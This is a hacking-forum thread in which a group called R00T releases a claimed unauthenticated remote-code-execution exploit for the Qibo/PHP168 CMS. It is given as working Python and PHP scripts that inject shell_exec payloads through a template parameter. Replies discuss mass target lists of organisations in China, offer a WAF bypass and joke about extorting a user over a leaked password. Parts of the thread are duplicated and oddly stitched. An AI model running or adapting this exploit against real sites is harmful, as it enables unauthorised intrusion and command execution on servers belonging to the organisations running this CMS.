

Forum:[Hack Forums](#)

Thread: [R00T - Free 0days for Hackforums](#)

bandors - October 3, 2026, 11:28 am

Basilisk liberationists
AGI is not like other technologies

?lib ?/acc

???

posting 0days is not a crime

R00T is proud to start releasing 0day discoveries on this very thread. We will update with more high value 0days in the future.

Drop #1: [Qibo](#) CMS unauth RCE:

We could have sold this 0day- we are releasing it for the first time publicly here on hackforums. Qibo is a CMS still in use by major orgs in China.

```
Code #!/usr/bin/env python3
"""Qibo/PHP168 unauth RCE"""
import json
import urllib.parse
import urllib.request
```

```
BASE = "http:// domain /index.php?s=index/label_show/ajax_get"
CHECKS = (
    ("whoami", '<?=shell_exec("whoami");?>'),
    ("ls /tmp", '<?=shell_exec("ls /tmp");?>'),
)
```

```
for i, (command, template) in enumerate(CHECKS):
    tag = f"guest_repro_{i}"
    url = BASE + "&" + urllib.parse.urlencode({"tagname": tag, "pagename": tag})
    fields = [
        ("union", "class"),
        ("class", r"app\common\model\User@labelGet"),
        ("rows", "1"),
        ("view_tpl?", template),
        ("page", "1"),
    ]
    request = urllib.request.Request(
        url,
        data=urllib.parse.urlencode(fields).encode(),
```

```
headers={"Content-Type": "application/x-www-form-urlencoded"},
method="POST",
)
with urllib.request.urlopen(request, timeout=20) as response:
    result = json.loads(response.read())
print(f"$ {command}")
print(result["data"], end="" if result["data"].endswith("\n") else "\n")
```

Want to try the 0day yourself? We made a lab, you can test it here:
<https://www.canyouhack.me/challenges/qibo>
We support hackforums API for hackforums accounts to login to the lab.

Sift - October 3, 2026, 11:35 am

High quality share.

First of many contents coming from R00T soon.

Infinity. - October 3, 2026, 11:51 am

Nice, if you have a huge target list you might just be lucky with this.

bandors - October 3, 2026, 11:59 am

(Oct 3, 2026 11:51 AM)Infinity. Wrote: [\[CITE\]](#) Nice, if you have a huge target list you might just be lucky with this.

From my checks it still seems to be a hugely popular CMS in China ?

Should I drop a WAF bypass for the most widely used systems in China next? haha

Clumsy - October 3, 2026, 1:23 pm

Code #!/usr/bin/env php

<?php

/**

* Qibo/PHP168 unauth RCE

*/

```
const BASE = "http://domain/index.php?s=index/label_show/ajax_get";
```

```
const CHECKS = [
    ["whoami", '<?=shell_exec("whoami");?>'],
    ["ls /tmp", '<?=shell_exec("ls /tmp");?>'],
];
```

```
function run_checks(string $base = BASE): void
{
    foreach (CHECKS as $i => [$command, $template]) {
        $tag = "guest_repro_{$i}";

        $url = $base . "&" . http_build_query([
            "tagname" => $tag,
            "pagename" => $tag,
        ]);

        $fields = [
            "union" => "class",
            "class" => 'app\common\model\User@labelGet',
            "rows" => "1",
        ];
    }
}
```

```

    "view_tpl" => $template,
    "page"     => "1",
];

$ch = curl_init($url);
curl_setopt_array($ch, [
    CURLOPT_POST      => true,
    CURLOPT_POSTFIELDS => http_build_query($fields),
    CURLOPT_HTTPHEADER => ["Content-Type: application/x-www-form-urlencoded"],
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_TIMEOUT    => 20,
]);

$raw = curl_exec($ch);
$error = curl_error($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($raw === false) {
    fwrite(STDERR, "\$ {$command}\n[!] Connection error: {$error}\n");
    continue;
}

if ($code >= 400) {
    fwrite(STDERR, "\$ {$command}\n[!] HTTP {$code}\n");
    continue;
}

$result = json_decode($raw, true);
if (json_last_error() !== JSON_ERROR_NONE) {
    $preview = substr($raw, 0, 200);
    fwrite(STDERR, "\$ {$command}\n[!] Non-JSON response: {$preview}\n");
    continue;
}

$data = $result["data"] ?? "";
if (!is_string($data)) {
    $data = (string) $data;
}

echo "\$ {$command}\n";
echo $data;
if ($data === "" || substr($data, -1) !== "\n") {
    echo "\n";
}
}
}

run_checks();

```

That's my go-to 0day for HF.

Dotexe - October 3, 2026, 5:38 pm

(Oct 3, 2026 01:29 PM)Terry A. Davis Wrote: [\[CITE\]](#) <https://hackforums.net/shell.php>

That's my go-to 0day for HF.

Thanks, I was able to pull your HF's password. 50 bucks or I leak

Terry A. Davis - October 3, 2026, 6:00 pm

(Oct 3, 2026 05:38 PM)Dotexe Wrote: [\[CITE\]](#) Thanks, I was able to pull your HF's password. 50 bucks or I leak

DotexeRules1 - There, I beat you to it, now give me 50 bytes.

Punny - October 4, 2026, 1:15 am

If only I could read, can we get verification methods

TENET - October 4, 2026, 1:47 am

What? Are you saying most of the target list is in China?

bandors - October 4, 2026, 2:35 am

(Oct 4, 2026 01:15 AM)Punny Wrote: [\[CITE\]](#) If only I could read, can we get verification methods I linked to a lab I created for people to test it out. ?

(Oct 4, 2026 01:47 AM)TENET Wrote: [\[CITE\]](#) What? Are you saying most of the target list is in China?

targets? huh? I am not advocating anything here, I'm just sharing some research. This CMS is popular in China if that's what you mean, yes.

CL1B - October 4, 2026, 4:09 am

Sigh [warn]

nameless404 - October 6, 2026, 3:03 pm

(Oct 3, 2026 11:28 AM)bandors Wrote: [\[CITE\]](#)

Basilisk liberationists

AGI is not like other technologies

?lib ?/acc

???

posting 0days is not a crime

R00T is proud to start releasing 0day discoveries on this very thread. We will update with more high value 0days in the future.

Drop #1: [Qibo](#) CMS unauth RCE:

We could have sold this 0day- we are releasing it for the first time publicly here on hackforums. Qibo is a CMS still in use by major orgs in China.

Code #!/usr/bin/env python3

"""Qibo/PHP168 unauth RCE"""

```

import json
import urllib.parse
import urllib.request

BASE = "http:// domain /index.php?s=index/label_show/ajax_get"
CHECKS = (
    ("whoami", '<?=shell_exec("whoami");?>'),
    ("ls /tmp", '<?=shell_exec("ls /tmp");?>'),
)

for i, (command, template) in enumerate(CHECKS):
    tag = f"guest_repro_{i}"
    url = BASE + "&" + urllib.parse.urlencode({"tagname": tag, "pagename": tag})
    fields = [
        ("union", "class"),
        ("class", r"app\common\model\User@labelGet"),
        ("rows", "1"),
        ("view_tpl?", template),
        ("page", "1"),
    ]
    request = urllib.request.Request(
        url,
        data=urllib.parse.urlencode(fields).encode(),
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        method="POST",
    )
    with urllib.request.urlopen(request, timeout=20) as response:
        result = json.loads(response.read())
        print(f"$ {command}")
        print(result["data"], end="" if result["data"].endswith("\n") else "\n")

```

Want to try the 0day yourself? We made a lab, you can test it here:

<https://www.canyouhack.me/challenges/qibo>

We support hackforums API for hackforums accounts to login to the lab.

? loading encrypted image... first

this web actually has a lots of critical vulnerability, but they do not care

this web actually has a lots of critical vulnerability, but they do not care

ch4ter - October 10, 2026, 7:42 pm

how did u find a 0 day like this plz help me to find 0day too